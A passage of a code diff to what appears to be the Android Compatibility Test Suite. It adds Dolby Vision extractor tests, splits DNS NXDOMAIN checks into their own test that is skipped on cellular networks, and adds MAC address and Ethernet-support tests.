+ if (trackFormat.getString(MediaFormat.KEY_MIME)
+ .equalsIgnoreCase(MIMETYPE_VIDEO_DOLBY_VISION)) {
+ trackFormat = mExtractor.getTrackFormat(1);
+ trackCountForDolbyVision = 0;
+ }
+ }
+
+ if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
+ assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
+
+ MediaFormat trackFormatForDolbyVision =
+ mExtractor.getTrackFormat(trackCountForDolbyVision);
+
+ final String mimeType = trackFormatForDolbyVision.getString(MediaFormat.KEY_MIME);
+ assertEquals("video/dolby-vision", mimeType);
+
+ int profile = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_PROFILE);
+ assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvheSt, profile);
+
+ int level = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_LEVEL);
+ assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd60, level);
+
+ final int trackIdForDolbyVision =
+ trackFormatForDolbyVision.getInteger(MediaFormat.KEY_TRACK_ID);
+
+ final int trackIdForBackwardCompat = trackFormat.getInteger(MediaFormat.KEY_TRACK_ID);
+ assertEquals(trackIdForDolbyVision, trackIdForBackwardCompat);
+ }
+
+ // The backward-compatible track should have mime video/hevc
+ final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+ assertEquals("video/hevc", mimeType);
+ }
+
+ // DolbyVisionMediaExtractor for profile-level (DvavSe/Fhd60).
+ public void testDolbyVisionMediaExtractorProfileDvavSe() throws Exception {
+ TestMediaDataSource dataSource = setDataSource(R.raw.video_dovi_1920x1080_60fps_dvav_09);
+
+ assertTrue("There should be either 1 or 2 tracks",
+ 0 < mExtractor.getTrackCount() && 3 > mExtractor.getTrackCount());
+
+ MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+ int trackCountForDolbyVision = 1;
+
+ // Handle the case where there is a Dolby Vision extractor
+ // Note that it may or may not have a Dolby Vision Decoder
+ if (mExtractor.getTrackCount() == 2) {
+ if (trackFormat.getString(MediaFormat.KEY_MIME)
+ .equalsIgnoreCase(MIMETYPE_VIDEO_DOLBY_VISION)) {
+ trackFormat = mExtractor.getTrackFormat(1);
+ trackCountForDolbyVision = 0;
+ }
+ }
+
+ if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
+ assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
+
+ MediaFormat trackFormatForDolbyVision =
+ mExtractor.getTrackFormat(trackCountForDolbyVision);
+
+ final String mimeType = trackFormatForDolbyVision.getString(MediaFormat.KEY_MIME);
+ assertEquals("video/dolby-vision", mimeType);
+
+ int profile = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_PROFILE);
+ assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvavSe, profile);
+
+ int level = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_LEVEL);
+ assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd60, level);
+
+ final int trackIdForDolbyVision =
+ trackFormatForDolbyVision.getInteger(MediaFormat.KEY_TRACK_ID);
+
+ final int trackIdForBackwardCompat = trackFormat.getInteger(MediaFormat.KEY_TRACK_ID);
+ assertEquals(trackIdForDolbyVision, trackIdForBackwardCompat);
+ }
+
+ // The backward-compatible track should have mime video/avc
+ final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+ assertEquals("video/avc", mimeType);
+ }
+
private void checkExtractorSamplesAndMetrics() {
// 1MB is enough for any sample.
final ByteBuffer buf = ByteBuffer.allocate(1024*1024);
@@ -399,9 +566,10 @@
public MediaFormat mFormat;
private MediaExtractor mExtractor;
+ private MediaCodecTest.MediaCodecStream mDecoderStream;
public MediaExtractorStream(
- String mime,
+ String inMime, String outMime,
MediaDataSource dataSource) throws Exception {
mExtractor = new MediaExtractor();
mExtractor.setDataSource(dataSource);
@@ -411,23 +579,26 @@
for (int i = 0; i < numTracks; ++i) {
final MediaFormat format = mExtractor.getTrackFormat(i);
final String actualMime = format.getString(MediaFormat.KEY_MIME);
- if (mime.equals(actualMime)) {
- mExtractor.selectTrack(i);
- mFormat = format;
+ mExtractor.selectTrack(i);
+ mFormat = format;
+ if (outMime.equals(actualMime)) {
break;
+ } else { // no matching mime, try to use decoder
+ mDecoderStream = new MediaCodecTest.MediaCodecStream(
+ mExtractor, mFormat);
+ Log.w(TAG, "fallback to input mime type with decoder");
}
}
- assertNotNull("MediaExtractor cannot find mime type " + mime, mFormat);
+ assertNotNull("MediaExtractor cannot find mime type " + inMime, mFormat);
mIsFloat = mFormat.getInteger(
MediaFormat.KEY_PCM_ENCODING, AudioFormat.ENCODING_PCM_16BIT)
== AudioFormat.ENCODING_PCM_FLOAT;
-
}
public MediaExtractorStream(
- String mime,
+ String inMime, String outMime,
MediaCodecTest.ByteBufferStream inputStream) throws Exception {
- this(mime, new ByteBufferDataSource(inputStream));
+ this(inMime, outMime, new ByteBufferDataSource(inputStream));
}
@Override
@@ -435,7 +606,9 @@
if (mSawOutputEOS) {
return null;
}
-
+ if (mDecoderStream != null) {
+ return mDecoderStream.read();
+ }
// To preserve codec-like behavior, we create ByteBuffers
// equal to the media sample size.
final long size = mExtractor.getSampleSize();
@@ -500,7 +673,8 @@
new MediaCodecTest.ByteBufferInputStream(audioStream),
format, true /* encode */);
final MediaExtractorStream flacToRaw =
- new MediaExtractorStream("audio/raw", rawToFlac);
+ new MediaExtractorStream(MediaFormat.MIMETYPE_AUDIO_FLAC /* inMime */,
+ MediaFormat.MIMETYPE_AUDIO_RAW /* outMime */, rawToFlac);
// Note: the existence of signed zero (as well as NAN) may make byte
// comparisons invalid for floating point output. In our case, since the
diff --git a/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java b/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java
index f86ee49..cab5790 100644
--- a/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java
+++ b/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java
@@ -254,14 +254,7 @@
Objects.requireNonNull(mimeType);
assertEquals(mimeType, webkitMap.getMimeTypeFromExtension(extension));
assertTrue(webkitMap.hasExtension(extension));
-
- // Extensions should never start with '.', make sure this is not the case ahead
- // of the subsequent check.
- assertFalse(extension.startsWith("."));
- // Relax this check for extensions that contain "." because of http://b/141880067
- if (!extension.contains(".")) {
- assertEquals(mimeType, urlConnectionMap.getContentTypeFor("filename." + extension));
- }
+ assertEquals(mimeType, urlConnectionMap.getContentTypeFor("filename." + extension));
}
for (String mimeType : mimeMap.mimeTypes()) {
diff --git a/tests/tests/nativehardware/AndroidTest.xml b/tests/tests/nativehardware/AndroidTest.xml
index 3f11774..b4de33d 100644
--- a/tests/tests/nativehardware/AndroidTest.xml
+++ b/tests/tests/nativehardware/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="graphics" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNativeHardwareTestCases.apk" />
diff --git a/tests/tests/net/Android.bp b/tests/tests/net/Android.bp
index b6ea4af..b00455d 100644
--- a/tests/tests/net/Android.bp
+++ b/tests/tests/net/Android.bp
@@ -60,6 +60,7 @@
"cts",
"vts",
"general-tests",
+ "mts",
],
}
diff --git a/tests/tests/net/jni/NativeMultinetworkJni.cpp b/tests/tests/net/jni/NativeMultinetworkJni.cpp
index 5bd3013..2832c3d 100644
--- a/tests/tests/net/jni/NativeMultinetworkJni.cpp
+++ b/tests/tests/net/jni/NativeMultinetworkJni.cpp
@@ -145,7 +145,7 @@
}
extern "C"
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runResNqueryCheck(
+JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNqueryCheck(
JNIEnv* env, jclass, jlong nethandle) {
net_handle_t handle = (net_handle_t) nethandle;
@@ -155,29 +155,15 @@
EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_noerror),
"v4 res_nquery check answers");
- // V4 NXDOMAIN
- fd = android_res_nquery(handle, kNxDomainName, ns_c_in, ns_t_a, 0);
- EXPECT_GE(env, fd, 0, "v4 res_nquery NXDOMAIN");
- EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_nxdomain),
- "v4 res_nquery NXDOMAIN check answers");
-
// V6
fd = android_res_nquery(handle, kHostname, ns_c_in, ns_t_aaaa, 0);
EXPECT_GE(env, fd, 0, "v6 res_nquery");
EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_noerror),
"v6 res_nquery check answers");
-
- // V6 NXDOMAIN
- fd = android_res_nquery(handle, kNxDomainName, ns_c_in, ns_t_aaaa, 0);
- EXPECT_GE(env, fd, 0, "v6 res_nquery NXDOMAIN");
- EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_nxdomain),
- "v6 res_nquery NXDOMAIN check answers");
-
- return 0;
}
extern "C"
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runResNsendCheck(
+JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNsendCheck(
JNIEnv* env, jclass, jlong nethandle) {
net_handle_t handle = (net_handle_t) nethandle;
// V4
@@ -200,15 +186,6 @@
EXPECT_EQ(env, 0, expectAnswersValid(env, fd1, AF_INET, ns_r_noerror),
"v4 res_nsend 1st check answers");
- // V4 NXDOMAIN
- memset(buf1, 0, sizeof(buf1));
- len1 = makeQuery(kNxDomainName, ns_t_a, buf1, sizeof(buf1));
- EXPECT_GT(env, len1, 0, "v4 res_mkquery NXDOMAIN");
- fd1 = android_res_nsend(handle, buf1, len1, 0);
- EXPECT_GE(env, fd1, 0, "v4 res_nsend NXDOMAIN");
- EXPECT_EQ(env, 0, expectAnswersValid(env, fd1, AF_INET, ns_r_nxdomain),
- "v4 res_nsend NXDOMAIN check answers");
-
// V6
memset(buf1, 0, sizeof(buf1));
memset(buf2, 0, sizeof(buf2));
@@ -226,21 +203,47 @@
"v6 res_nsend 2nd check answers");
EXPECT_EQ(env, 0, expectAnswersValid(env, fd1, AF_INET6, ns_r_noerror),
"v6 res_nsend 1st check answers");
-
- // V6 NXDOMAIN
- memset(buf1, 0, sizeof(buf1));
- len1 = makeQuery(kNxDomainName, ns_t_aaaa, buf1, sizeof(buf1));
- EXPECT_GT(env, len1, 0, "v6 res_mkquery NXDOMAIN");
- fd1 = android_res_nsend(handle, buf1, len1, 0);
- EXPECT_GE(env, fd1, 0, "v6 res_nsend NXDOMAIN");
- EXPECT_EQ(env, 0, expectAnswersValid(env, fd1, AF_INET6, ns_r_nxdomain),
- "v6 res_nsend NXDOMAIN check answers");
-
- return 0;
}
extern "C"
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runResNcancelCheck(
+JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNnxDomainCheck(
+ JNIEnv* env, jclass, jlong nethandle) {
+ net_handle_t handle = (net_handle_t) nethandle;
+
+ // res_nquery V4 NXDOMAIN
+ int fd = android_res_nquery(handle, kNxDomainName, ns_c_in, ns_t_a, 0);
+ EXPECT_GE(env, fd, 0, "v4 res_nquery NXDOMAIN");
+ EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_nxdomain),
+ "v4 res_nquery NXDOMAIN check answers");
+
+ // res_nquery V6 NXDOMAIN
+ fd = android_res_nquery(handle, kNxDomainName, ns_c_in, ns_t_aaaa, 0);
+ EXPECT_GE(env, fd, 0, "v6 res_nquery NXDOMAIN");
+ EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET6, ns_r_nxdomain),
+ "v6 res_nquery NXDOMAIN check answers");
+
+ uint8_t buf[MAXPACKET] = {};
+ // res_nsend V4 NXDOMAIN
+ int len = makeQuery(kNxDomainName, ns_t_a, buf, sizeof(buf));
+ EXPECT_GT(env, len, 0, "v4 res_mkquery NXDOMAIN");
+ fd = android_res_nsend(handle, buf, len, 0);
+ EXPECT_GE(env, fd, 0, "v4 res_nsend NXDOMAIN");
+ EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_nxdomain),
+ "v4 res_nsend NXDOMAIN check answers");
+
+ // res_nsend V6 NXDOMAIN
+ memset(buf, 0, sizeof(buf));
+ len = makeQuery(kNxDomainName, ns_t_aaaa, buf, sizeof(buf));
+ EXPECT_GT(env, len, 0, "v6 res_mkquery NXDOMAIN");
+ fd = android_res_nsend(handle, buf, len, 0);
+ EXPECT_GE(env, fd, 0, "v6 res_nsend NXDOMAIN");
+ EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET6, ns_r_nxdomain),
+ "v6 res_nsend NXDOMAIN check answers");
+}
+
+
+extern "C"
+JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNcancelCheck(
JNIEnv* env, jclass, jlong nethandle) {
net_handle_t handle = (net_handle_t) nethandle;
@@ -251,11 +254,10 @@
EXPECT_EQ(env, 0, err, "res_cancel");
// DO NOT call cancel or result with the same fd more than once,
// otherwise it will hit fdsan double-close fd.
- return 0;
}
extern "C"
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runResNapiMalformedCheck(
+JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNapiMalformedCheck(
JNIEnv* env, jclass, jlong nethandle) {
net_handle_t handle = (net_handle_t) nethandle;
@@ -311,8 +313,6 @@
EXPECT_GE(env, fd, 0, "res_nsend 500 bytes filled with 0xFF");
EXPECT_EQ(env, 0, expectAnswersNotValid(env, fd, -EINVAL),
"res_nsend 500 bytes filled with 0xFF check answers");
-
- return 0;
}
extern "C"
diff --git a/tests/tests/net/native/dns/Android.bp b/tests/tests/net/native/dns/Android.bp
index 9fbc3fc..1704a2b 100644
--- a/tests/tests/net/native/dns/Android.bp
+++ b/tests/tests/net/native/dns/Android.bp
@@ -35,5 +35,6 @@
},
test_suites: [
"cts",
+ "mts",
],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index bbc2298..fa7e138 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -16,8 +16,10 @@
package android.net.cts;
+import static android.content.pm.PackageManager.FEATURE_ETHERNET;
import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
import static android.content.pm.PackageManager.FEATURE_WIFI;
+import static android.content.pm.PackageManager.FEATURE_USB_HOST;
import static android.net.NetworkCapabilities.NET_CAPABILITY_IMS;
import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
@@ -257,7 +259,7 @@
public void testGetNetworkInfo() {
for (int type = -1; type <= ConnectivityManager.MAX_NETWORK_TYPE+1; type++) {
- if (isSupported(type)) {
+ if (shouldBeSupported(type)) {
NetworkInfo ni = mCm.getNetworkInfo(type);
assertTrue("Info shouldn't be null for " + type, ni != null);
State state = ni.getState();
@@ -277,7 +279,7 @@
NetworkInfo[] ni = mCm.getAllNetworkInfo();
assertTrue(ni.length >= MIN_NUM_NETWORK_TYPES);
for (int type = 0; type <= ConnectivityManager.MAX_NETWORK_TYPE; type++) {
- int desiredFoundCount = (isSupported(type) ? 1 : 0);
+ int desiredFoundCount = (shouldBeSupported(type) ? 1 : 0);
int foundCount = 0;
for (NetworkInfo i : ni) {
if (i.getType() == type) foundCount++;
@@ -385,20 +387,32 @@
assertStartUsingNetworkFeatureUnsupported(TYPE_WIFI, mmsFeature);
}
- private boolean isSupported(int networkType) {
+ private boolean shouldEthernetBeSupported() {
+ // Instant mode apps aren't allowed to query the Ethernet service due to selinux policies.
+ // When in instant mode, don't fail if the Ethernet service is available. Instead, rely on
+ // the fact that Ethernet should be supported if the device has a hardware Ethernet port, or
+ // if the device can be a USB host and thus can use USB Ethernet adapters.
+ //
+ // Note that this test this will still fail in instant mode if a device supports Ethernet
+ // via other hardware means. We are not currently aware of any such device.
+ return (mContext.getSystemService(Context.ETHERNET_SERVICE) != null) ||
+ mPackageManager.hasSystemFeature(FEATURE_ETHERNET) ||
+ mPackageManager.hasSystemFeature(FEATURE_USB_HOST);
+ }
+
+ private boolean shouldBeSupported(int networkType) {
return mNetworks.containsKey(networkType) ||
(networkType == ConnectivityManager.TYPE_VPN) ||
- (networkType == ConnectivityManager.TYPE_ETHERNET &&
- mContext.getSystemService(Context.ETHERNET_SERVICE) != null);
+ (networkType == ConnectivityManager.TYPE_ETHERNET && shouldEthernetBeSupported());
}
public void testIsNetworkSupported() {
for (int type = -1; type <= ConnectivityManager.MAX_NETWORK_TYPE; type++) {
boolean supported = mCm.isNetworkSupported(type);
- if (isSupported(type)) {
- assertTrue(supported);
+ if (shouldBeSupported(type)) {
+ assertTrue("Network type " + type + " should be supported", supported);
} else {
- assertFalse(supported);
+ assertFalse("Network type " + type + " should not be supported", supported);
}
}
}
diff --git a/tests/tests/net/src/android/net/cts/DnsResolverTest.java b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
index ef8badd..c32a7a0 100644
--- a/tests/tests/net/src/android/net/cts/DnsResolverTest.java
+++ b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
@@ -21,6 +21,7 @@
import static android.net.DnsResolver.FLAG_NO_CACHE_LOOKUP;
import static android.net.DnsResolver.TYPE_A;
import static android.net.DnsResolver.TYPE_AAAA;
+import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
import static android.system.OsConstants.ETIMEDOUT;
import android.annotation.NonNull;
@@ -36,6 +37,7 @@
import android.net.NetworkCapabilities;
import android.net.NetworkRequest;
import android.net.ParseException;
+import android.net.cts.util.CtsNetUtils;
import android.os.CancellationSignal;
import android.os.Handler;
import android.os.Looper;
@@ -62,7 +64,9 @@
};
static final String TEST_DOMAIN = "www.google.com";
+ static final String TEST_NX_DOMAIN = "test1-nx.metric.gstatic.com";
static final String INVALID_PRIVATE_DNS_SERVER = "invalid.google";
+ static final String GOOGLE_PRIVATE_DNS_SERVER = "dns.google";
static final byte[] TEST_BLOB = new byte[]{
/* Header */
0x55, 0x66, /* Transaction ID */
@@ -86,6 +90,7 @@
private ContentResolver mCR;
private ConnectivityManager mCM;
+ private CtsNetUtils mCtsNetUtils;
private Executor mExecutor;
private Executor mExecutorInline;
private DnsResolver mDns;
@@ -101,6 +106,7 @@
mExecutor = new Handler(Looper.getMainLooper())::post;
mExecutorInline = (Runnable r) -> r.run();
mCR = getContext().getContentResolver();
+ mCtsNetUtils = new CtsNetUtils(getContext());
storePrivateDnsSetting();
}
@@ -309,6 +315,14 @@
doTestRawQueryNXDomain(mExecutorInline);
}
+ public void testRawQueryNXDomainWithPrivateDns() throws Exception {
+ doTestRawQueryNXDomainWithPrivateDns(mExecutor);
+ }
+
+ public void testRawQueryNXDomainInlineWithPrivateDns() throws Exception {
+ doTestRawQueryNXDomainWithPrivateDns(mExecutorInline);
+ }
+
public void doTestRawQuery(Executor executor) throws InterruptedException {
final String msg = "RawQuery " + TEST_DOMAIN;
for (Network network : getTestableNetworks()) {
@@ -364,11 +378,46 @@
}
public void doTestRawQueryNXDomain(Executor executor) throws InterruptedException {
- final String dname = "test1-nx.metric.gstatic.com";
- final String msg = "RawQuery " + dname;
+ final String msg = "RawQuery " + TEST_NX_DOMAIN;
+
for (Network network : getTestableNetworks()) {
+ final NetworkCapabilities nc = (network != null)
+ ? mCM.getNetworkCapabilities(network)
+ : mCM.getNetworkCapabilities(mCM.getActiveNetwork());
+ assertNotNull("Couldn't determine NetworkCapabilities for " + network, nc);
+ // Some cellular networks configure their DNS servers never to return NXDOMAIN, so don't
+ // test NXDOMAIN on these DNS servers.
+ // b/144521720
+ if (nc.hasTransport(TRANSPORT_CELLULAR)) continue;
final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
- mDns.rawQuery(network, dname, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
+ mDns.rawQuery(network, TEST_NX_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
+ executor, null, callback);
+
+ assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+ callback.waitForAnswer());
+ callback.assertNXDomain();
+ }
+ }
+
+ public void doTestRawQueryNXDomainWithPrivateDns(Executor executor)
+ throws InterruptedException {
+ final String msg = "RawQuery " + TEST_NX_DOMAIN + " with private DNS";
+
+ // Enable private DNS strict mode and set server to dns.google before doing NxDomain test.
+ // b/144521720
+ Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_MODE, "hostname");
+ Settings.Global.putString(mCR,
+ Settings.Global.PRIVATE_DNS_SPECIFIER, GOOGLE_PRIVATE_DNS_SERVER);
+
+ for (Network network : getTestableNetworks()) {
+ final Network networkForPrivateDns =
+ (network != null) ? network : mCM.getActiveNetwork();
+ assertNotNull("Can't find network to await private DNS on", networkForPrivateDns);
+ mCtsNetUtils.awaitPrivateDnsSetting(msg + " wait private DNS setting timeout",
+ networkForPrivateDns, GOOGLE_PRIVATE_DNS_SERVER,
+ PRIVATE_DNS_SETTING_TIMEOUT_MS);
+ final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
+ mDns.rawQuery(network, TEST_NX_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
executor, null, callback);
assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
@@ -615,23 +664,6 @@
}
}
- private void awaitPrivateDnsSetting(@NonNull String msg,
- @NonNull Network network, @NonNull String server) throws InterruptedException {
- CountDownLatch latch = new CountDownLatch(1);
- NetworkRequest request = new NetworkRequest.Builder().clearCapabilities().build();
- NetworkCallback callback = new NetworkCallback() {
- @Override
- public void onLinkPropertiesChanged(Network n, LinkProperties lp) {
- if (network.equals(n) && server.equals(lp.getPrivateDnsServerName())) {
- latch.countDown();
- }
- }
- };
- mCM.registerNetworkCallback(request, callback);
- assertTrue(msg, latch.await(PRIVATE_DNS_SETTING_TIMEOUT_MS, TimeUnit.MILLISECONDS));
- mCM.unregisterNetworkCallback(callback);
- }
-
public void testPrivateDnsBypass() throws InterruptedException {
final Network[] testNetworks = getTestableNetworks();
@@ -647,8 +679,8 @@
if (network == null) continue;
// wait for private DNS setting propagating
- awaitPrivateDnsSetting(msg + " wait private DNS setting timeout",
- network, INVALID_PRIVATE_DNS_SERVER);
+ mCtsNetUtils.awaitPrivateDnsSetting(msg + " wait private DNS setting timeout",
+ network, INVALID_PRIVATE_DNS_SERVER, PRIVATE_DNS_SETTING_TIMEOUT_MS);
final CountDownLatch latch = new CountDownLatch(1);
final DnsResolver.Callback<List<InetAddress>> errorCallback =
diff --git a/tests/tests/net/src/android/net/cts/MacAddressTest.java b/tests/tests/net/src/android/net/cts/MacAddressTest.java
index af1e760..4d25e62 100644
--- a/tests/tests/net/src/android/net/cts/MacAddressTest.java
+++ b/tests/tests/net/src/android/net/cts/MacAddressTest.java
@@ -20,6 +20,11 @@
import static android.net.MacAddress.TYPE_MULTICAST;
import static android.net.MacAddress.TYPE_UNICAST;
+import static com.android.testutils.ParcelUtilsKt.assertParcelSane;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import android.net.MacAddress;
@@ -30,6 +35,7 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.net.Inet6Address;
import java.util.Arrays;
@SmallTest
@@ -161,4 +167,57 @@
} catch (NullPointerException excepted) {
}
}
+
+ @Test
+ public void testMatches() {
+ // match 4 bytes prefix
+ assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
+ MacAddress.fromString("aa:bb:cc:dd:00:00"),
+ MacAddress.fromString("ff:ff:ff:ff:00:00")));
+
+ // match bytes 0,1,2 and 5
+ assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
+ MacAddress.fromString("aa:bb:cc:00:00:11"),
+ MacAddress.fromString("ff:ff:ff:00:00:ff")));
+
+ // match 34 bit prefix
+ assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
+ MacAddress.fromString("aa:bb:cc:dd:c0:00"),
+ MacAddress.fromString("ff:ff:ff:ff:c0:00")));
+
+ // fail to match 36 bit prefix
+ assertFalse(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
+ MacAddress.fromString("aa:bb:cc:dd:40:00"),
+ MacAddress.fromString("ff:ff:ff:ff:f0:00")));
+
+ // match all 6 bytes
+ assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
+ MacAddress.fromString("aa:bb:cc:dd:ee:11"),
+ MacAddress.fromString("ff:ff:ff:ff:ff:ff")));
+
+ // match none of 6 bytes
+ assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
+ MacAddress.fromString("00:00:00:00:00:00"),
+ MacAddress.fromString("00:00:00:00:00:00")));
+ }
+
+ /**
+ * Tests that link-local address generation from MAC is valid.
+ */
+ @Test
+ public void testLinkLocalFromMacGeneration() {
+ final MacAddress mac = MacAddress.fromString("52:74:f2:b1:a8:7f");
+ final byte[] inet6ll = {(byte) 0xfe, (byte) 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50,
+ 0x74, (byte) 0xf2, (byte) 0xff, (byte) 0xfe, (byte) 0xb1, (byte) 0xa8, 0x7f};
+ final Inet6Address llv6 = mac.getLinkLocalIpv6FromEui48Mac();
+ assertTrue(llv6.isLinkLocalAddress());
+ assertArrayEquals(inet6ll, llv6.getAddress());
+ }
+
+ @Test
+ public void testParcelMacAddress() {
+ final MacAddress mac = MacAddress.fromString("52:74:f2:b1:a8:7f");
+
+ assertParcelSane(mac, 1);
+ }
}
diff --git a/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java b/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
index c3e65b7..766c55e 100644
--- a/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
+++ b/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
@@ -16,18 +16,23 @@
package android.net.cts;
+import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
+
import android.content.Context;
+import android.content.ContentResolver;
import android.net.ConnectivityManager;
import android.net.Network;
import android.net.NetworkCapabilities;
import android.net.NetworkUtils;
+import android.net.cts.util.CtsNetUtils;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
import android.system.ErrnoException;
import android.system.OsConstants;
import android.test.AndroidTestCase;
import java.util.ArrayList;
-
public class MultinetworkApiTest extends AndroidTestCase {
static {
@@ -35,6 +40,8 @@
}
private static final String TAG = "MultinetworkNativeApiTest";
+ static final String GOOGLE_PRIVATE_DNS_SERVER = "dns.google";
+ static final int PRIVATE_DNS_SETTING_TIMEOUT_MS = 2_000;
/**
* @return 0 on success
@@ -43,18 +50,43 @@
private static native int runSetprocnetwork(long networkHandle);
private static native int runSetsocknetwork(long networkHandle);
private static native int runDatagramCheck(long networkHandle);
- private static native int runResNapiMalformedCheck(long networkHandle);
- private static native int runResNcancelCheck(long networkHandle);
- private static native int runResNqueryCheck(long networkHandle);
- private static native int runResNsendCheck(long networkHandle);
+ private static native void runResNapiMalformedCheck(long networkHandle);
+ private static native void runResNcancelCheck(long networkHandle);
+ private static native void runResNqueryCheck(long networkHandle);
+ private static native void runResNsendCheck(long networkHandle);
+ private static native void runResNnxDomainCheck(long networkHandle);
-
+ private ContentResolver mCR;
private ConnectivityManager mCM;
+ private CtsNetUtils mCtsNetUtils;
+ private String mOldMode;
+ private String mOldDnsSpecifier;
+ @Override
protected void setUp() throws Exception {
super.setUp();
mCM = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+ mCR = getContext().getContentResolver();
+ mCtsNetUtils = new CtsNetUtils(getContext());
+ storePrivateDnsSetting();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ private void storePrivateDnsSetting() {
+ // Store private DNS setting
+ mOldMode = Settings.Global.getString(mCR, Settings.Global.PRIVATE_DNS_MODE);
+ mOldDnsSpecifier = Settings.Global.getString(mCR, Settings.Global.PRIVATE_DNS_SPECIFIER);
+ }
+
+ private void restorePrivateDnsSetting() {
+ // restore private DNS setting
+ Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_MODE, mOldMode);
+ Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_SPECIFIER, mOldDnsSpecifier);
}
private Network[] getTestableNetworks() {
@@ -182,13 +214,42 @@
} catch (IllegalArgumentException e) {}
}
- public void testResNApi() {
- for (Network network : getTestableNetworks()) {
+ public void testResNApi() throws Exception {
+ final Network[] testNetworks = getTestableNetworks();
+
+ for (Network network : testNetworks) {
// Throws AssertionError directly in jni function if test fail.
runResNqueryCheck(network.getNetworkHandle());
runResNsendCheck(network.getNetworkHandle());
runResNcancelCheck(network.getNetworkHandle());
runResNapiMalformedCheck(network.getNetworkHandle());
+
+ final NetworkCapabilities nc = mCM.getNetworkCapabilities(network);
+ // Some cellular networks configure their DNS servers never to return NXDOMAIN, so don't
+ // test NXDOMAIN on these DNS servers.
+ // b/144521720
+ if (nc != null && !nc.hasTransport(TRANSPORT_CELLULAR)) {
+ runResNnxDomainCheck(network.getNetworkHandle());
+ }
+ }
+ }
+
